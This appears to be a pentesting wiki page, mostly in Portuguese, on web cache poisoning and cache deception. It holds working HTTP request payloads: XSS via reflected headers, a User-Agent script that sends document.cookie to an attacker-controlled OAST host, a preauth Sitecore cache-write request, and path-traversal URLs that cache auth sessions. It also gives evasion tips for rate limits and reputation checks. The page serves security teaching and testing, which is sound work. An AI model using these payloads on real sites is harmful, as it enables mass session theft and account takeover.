22 KiB
Raw Blame History

Cache Poisoning and Cache Deception

{{#include ../../banners/hacktricks-training.md}}

A diferença

Qual é a diferença entre web cache poisoning e web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning tem como objetivo manipular o cache do lado do cliente para forçar os clientes a carregarem recursos inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente aos usuários que visitam a página durante o período de contaminação do cache.

A execução de um ataque de cache poisoning envolve vários passos:

  1. Identification of Unkeyed Inputs: Estes são parâmetros que, embora não sejam necessários para que uma requisição seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar estes inputs é crucial, pois eles podem ser explorados para manipular o cache.
  2. Exploitation of the Unkeyed Inputs: Após identificar os unkeyed inputs, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma forma que favoreça o atacante.
  3. Ensuring the Poisoned Response is Cached: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário acessando a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.

Discovery: Check HTTP headers

Normalmente, quando uma resposta foi stored in the cache haverá um header indicando isso; você pode verificar quais cabeçalhos deve prestar atenção neste post: HTTP Cache headers.

Discovery: Caching error codes

Se você acha que a resposta está sendo armazenada em um cache, você pode tentar enviar requisições com um header inválido, que deveria ser respondido com um código de status 400. Depois tente acessar a requisição normalmente e, se a resposta for um código de status 400, você sabe que está vulnerável (e você poderia até realizar um DoS).

You can find more options in:

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

No entanto, note que às vezes esse tipo de códigos de status não são cached, então esse teste pode não ser confiável.

Discovery: Identify and evaluate unkeyed inputs

Você pode usar Param Miner para brute-force parâmetros e cabeçalhos que podem estar alterando a resposta da página. Por exemplo, uma página pode estar usando o cabeçalho X-Forwarded-For para indicar ao cliente carregar o script a partir dali:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicitar uma resposta prejudicial do servidor back-end

With the parameter/header identified check how it is being sanitised and where is it getting reflected or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)

Faça com que a resposta seja armazenada em cache

Once you have identified the page that can be abused, which parameter/header to use and how to abuse it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.

The header X-Cache in the response could be very useful as it may have the value miss when the request wasn't cached and the value hit when it is cached.
The header Cache-Control is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800

Another interesting header is Vary. This header is often used to indicate additional headers that are treated as part of the cache key even if they are normally unkeyed. Therefore, if the user knows the User-Agent of the victim he is targeting, he can poison the cache for the users using that specific User-Agent.

One more header related to the cache is Age. It defines the times in seconds the object has been in the proxy cache.

When caching a request, be careful with the headers you use because some of them could be used unexpectedly as keyed and the victim will need to use that same header. Always test a Cache Poisoning with different browsers to check if it's working.

Exploiting Examples

Easiest example

A header like X-Forwarded-For is being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note que isto irá poison a request para /en?region=uk e não para /en

Cache poisoning to DoS

{{#ref}} cache-poisoning-to-dos.md {{#endref}}

Cache poisoning through CDNs

Em this writeup é explicado o seguinte cenário simples:

  • A CDN irá armazenar em cache qualquer coisa sob /share/
  • A CDN NÃO irá decode nem normalize %2F..%2F, portanto, pode ser usada como path traversal to access other sensitive locations that will be cached como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • O web server VAI decode e normalize %2F..%2F, e irá responder com /api/auth/session, que contains the auth token.

Cookies também podem ser refletidos na resposta de uma página. Se você conseguir abusar disso para causar um XSS, por exemplo, você poderia explorar XSS em vários clients que carreguem a resposta de cache maliciosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note que se o cookie vulnerável for muito usado pelos usuários, requisições regulares irão limpar o cache.

Generating discrepancies with delimiters, normalization and dots

Confira:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Cache poisoning with path traversal to steal API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Isto também é explicado melhor em:

{{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}}

Using multiple headers to exploit web cache poisoning vulnerabilities

Às vezes você precisará exploit several unkeyed inputs para poder abusar de um cache. Por exemplo, você pode encontrar um Open redirect se definir X-Forwarded-Host para um domínio controlado por você e X-Forwarded-Scheme para http. If o server estiver forwarding todas as HTTP requests to HTTPS e usando o header X-Forwarded-Scheme como o nome de domínio para o redirect, você pode controlar para onde a página é apontada pelo redirect.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explorando com Varyheader

Se você descobriu que o cabeçalho X-Host está sendo usado como nome de domínio para carregar um recurso JS mas o cabeçalho Vary na resposta está indicando User-Agent. Então, você precisa encontrar uma forma de exfiltrar o User-Agent da vítima e envenenar o cache usando esse User-Agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envie um GET request com o request na URL e no body. Se o web server usar o que está no body mas o cache server cachear o que está na URL, qualquer pessoa acessando essa URL na verdade usará o parameter do body. Como a vuln que James Kettle encontrou no site do Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

Há um lab do PortSwigger sobre isso: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Por exemplo, é possível separar parâmetros em servidores ruby usando o caractere ; em vez de &. Isso pode ser usado para colocar valores de parâmetros sem chave dentro de parâmetros com chave e abusar disso.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Aprenda aqui como realizar Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

O Web Cache Vulnerability Scanner pode ser usado para testar automaticamente Web Cache Poisoning. Ele suporta muitas técnicas diferentes e é altamente personalizável.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Esse padrão do mundo real encadeia uma primitiva de reflexão baseada em header com o comportamento do CDN/WAF para envenenar de forma confiável o HTML em cache servido a outros usuários:

  • O HTML principal refletia um cabeçalho de requisição não confiável (por exemplo, User-Agent) para um contexto executável.
  • O CDN removia headers de cache, mas existia um cache interno/origem. O CDN também armazenava em cache automaticamente requisições terminadas em extensões estáticas (por exemplo, .js), enquanto o WAF aplicava uma inspeção de conteúdo mais fraca a GETs para assets estáticos.
  • Peculiaridades no fluxo de requisições permitiram que uma requisição para um caminho .js influenciasse a chave/variante de cache usada para o HTML principal subsequente, permitindo XSS entre usuários via reflexão de header.

Receita prática (observada em um CDN/WAF popular):

  1. A partir de um IP limpo (evite downgrades pré-existentes baseados em reputação), defina um User-Agent malicioso via browser ou Burp Proxy Match & Replace.
  2. No Burp Repeater, prepare um grupo de duas requisições e use "Send group in parallel" (o modo single-packet funciona melhor):
  • Primeira requisição: GET de um caminho de recurso .js na mesma origem enquanto envia seu User-Agent malicioso.
  • Imediatamente depois: GET da página principal (/).
  1. A corrida de roteamento do CDN/WAF, juntamente com o .js armazenado em cache automaticamente, frequentemente semeia uma variante de HTML em cache envenenada que é então servida a outros visitantes que compartilham as mesmas condições de chave de cache (por exemplo, mesmas dimensões Vary como User-Agent).

Exemplo de payload de header (para exfiltrar cookies não-HttpOnly):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Dicas operacionais:

  • Muitos CDNs ocultam cabeçalhos de cache; poisoning pode aparecer apenas em ciclos de atualização de várias horas. Use múltiplos IPs de vantage e regule a taxa para evitar gatilhos de rate-limit ou de reputação.
  • Usar um IP da própria nuvem do CDN às vezes melhora a consistência do roteamento.
  • Se um CSP estrito estiver presente, isso ainda funciona se a reflexão for executada no contexto principal do HTML e o CSP permitir execução inline ou for contornado pelo contexto.

Impacto:

  • Se os cookies de sessão não forem HttpOnly, um ATO zero-click é possível ao exfiltrar em massa document.cookie de todos os usuários que recebem o poisoned HTML.

Defesas:

  • Pare de refletir cabeçalhos de requisição no HTML; faça encoding estrito por contexto se for inevitável. Alinhe as políticas de cache do CDN e da origem e evite variar com base em cabeçalhos não confiáveis.
  • Garanta que o WAF aplique inspeção de conteúdo de forma consistente a requisições .js e caminhos estáticos.
  • Defina HttpOnly (e Secure, SameSite) nos cookies de sessão.

Sitecore preauth HTML cache poisoning (unsafe XAML Ajax reflection)

Um padrão específico do Sitecore permite escritas não autenticadas no HtmlCache ao abusar de handlers XAML préauth e da reflexão do AjaxScriptManager. Quando o handler Sitecore.Shell.Xaml.WebControl é alcançado, um xmlcontrol:GlobalHeader (derivado de Sitecore.Web.UI.WebControl) está disponível e a seguinte chamada reflexiva é permitida:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Isso grava HTML arbitrário sob uma chave de cache escolhida pelo atacante, permitindo envenenamento preciso uma vez que as chaves de cache são conhecidas.

Para detalhes completos (construção da chave de cache, enumeração do ItemService e uma RCE de desserialização encadeada pós-autenticação):

{{#ref}} ../../network-services-pentesting/pentesting-web/sitecore/README.md {{#endref}}

Exemplos Vulneráveis

Apache Traffic Server (CVE-2021-27577)

ATS encaminhava o fragmento dentro da URL sem removê-lo e gerava a chave de cache usando apenas host, path e query (ignorando o fragmento). Então a requisição /#/../?r=javascript:alert(1) era enviada ao backend como /#/../?r=javascript:alert(1) e a chave de cache não tinha o payload dentro dela, apenas host, path e query.

GitHub CP-DoS

Enviar um valor incorreto no header content-type acionava uma resposta 405 em cache. A chave de cache continha o cookie então era possível atacar apenas usuários não autenticados.

GitLab + GCP CP-DoS

GitLab usa GCP buckets para armazenar conteúdo estático. GCP Buckets suportam o header x-http-method-override. Então foi possível enviar o header x-http-method-override: HEAD e envenenar o cache fazendo com que retornasse um corpo de resposta vazio. Também poderia suportar o método PURGE.

Rack Middleware (Ruby on Rails)

Em aplicações Ruby on Rails, é comum utilizar middleware Rack. O propósito do código Rack é pegar o valor do header x-forwarded-scheme e defini-lo como o scheme da requisição. Quando o header x-forwarded-scheme: http é enviado, ocorre um redirect 301 para a mesma localização, potencialmente causando um Denial of Service (DoS) a esse recurso. Adicionalmente, a aplicação pode reconhecer o header X-forwarded-host e redirecionar usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript a partir do servidor do atacante, representando um risco de segurança.

403 e Storage Buckets

Cloudflare anteriormente cacheava respostas 403. Tentar acessar S3 ou Azure Storage Blobs com headers Authorization incorretos resultava em uma resposta 403 que era cacheada. Embora a Cloudflare tenha parado de cachear respostas 403, esse comportamento pode ainda estar presente em outros serviços proxy.

Injetando Parâmetros Chaveados

Caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly cacheava o parâmetro size nas requisições. Porém, se uma versão URL-encoded do parâmetro (por exemplo, siz%65) também fosse enviada com um valor errado, a chave de cache seria construída usando o parâmetro size correto. Ainda assim, o backend processaria o valor no parâmetro URL-encoded. URL-encodar o segundo parâmetro size fazia com que ele fosse omitido pelo cache mas utilizado pelo backend. Atribuir o valor 0 a esse parâmetro resultava em um erro 400 Bad Request que podia ser cacheado.

Regras de User Agent

Alguns desenvolvedores bloqueiam requisições com user-agents que correspondem aos de ferramentas de alto tráfego como FFUF ou Nuclei para gerir a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades como cache poisoning e DoS.

Campos de Header Ilegais

https://datatracker.ietf.mrg/doc/html/rfc7230 especifica os caracteres aceitáveis em nomes de header. Headers contendo caracteres fora do intervalo tchar especificado idealmente deveriam acionar uma resposta 400 Bad Request. Na prática, servidores nem sempre seguem esse padrão. Um exemplo notável é a Akamai, que encaminha headers com caracteres inválidos e cacheia qualquer erro 400, desde que o header cache-control não esteja presente. Foi identificado um padrão explorável onde enviar um header com um caractere ilegal, como \, resultava em um erro 400 Bad Request que podia ser cacheado.

Encontrando novos headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

O objetivo do Cache Deception é fazer com que clientes carreguem recursos que vão ser salvos pelo cache com suas informações sensíveis.

Primeiro, note que extensões como .css, .js, .png etc. costumam ser configuradas para serem salvas no cache. Portanto, se você acessar www.example.com/profile.php/nonexistent.js o cache provavelmente armazenará a resposta porque ele vê a extensão .js. Mas, se a aplicação estiver respondendo com os conteúdos sensíveis do usuário armazenados em www.example.com/profile.php, você pode roubar esses conteúdos de outros usuários.

Outras coisas para testar:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use extensões menos conhecidas, como .avif

Outro exemplo bem claro pode ser encontrado neste write-up: https://hackerone.com/reports/593712.
No exemplo, é explicado que se você carregar uma página inexistente como http://www.example.com/home.php/non-existent.css o conteúdo de http://www.example.com/home.php (com as informações sensíveis do usuário) será retornado e o servidor de cache vai salvar o resultado.
Então, o attacker pode acessar http://www.example.com/home.php/non-existent.css no próprio navegador e observar as informações confidenciais dos usuários que acessaram antes.

Observe que o proxy de cache deve ser configurado para cachear arquivos com base na extensão do arquivo (.css) e não com base no content-type. No exemplo http://www.example.com/home.php/non-existent.css terá um content-type text/html em vez de um mime type text/css.

Aprenda aqui sobre como realizar Cache Deceptions attacks abusing HTTP Request Smuggling.

Ferramentas Automáticas

  • toxicache: Golang scanner para encontrar vulnerabilidades de web cache poisoning em uma lista de URLs e testar múltiplas técnicas de injeção.

Referências

{{#include ../../banners/hacktricks-training.md}}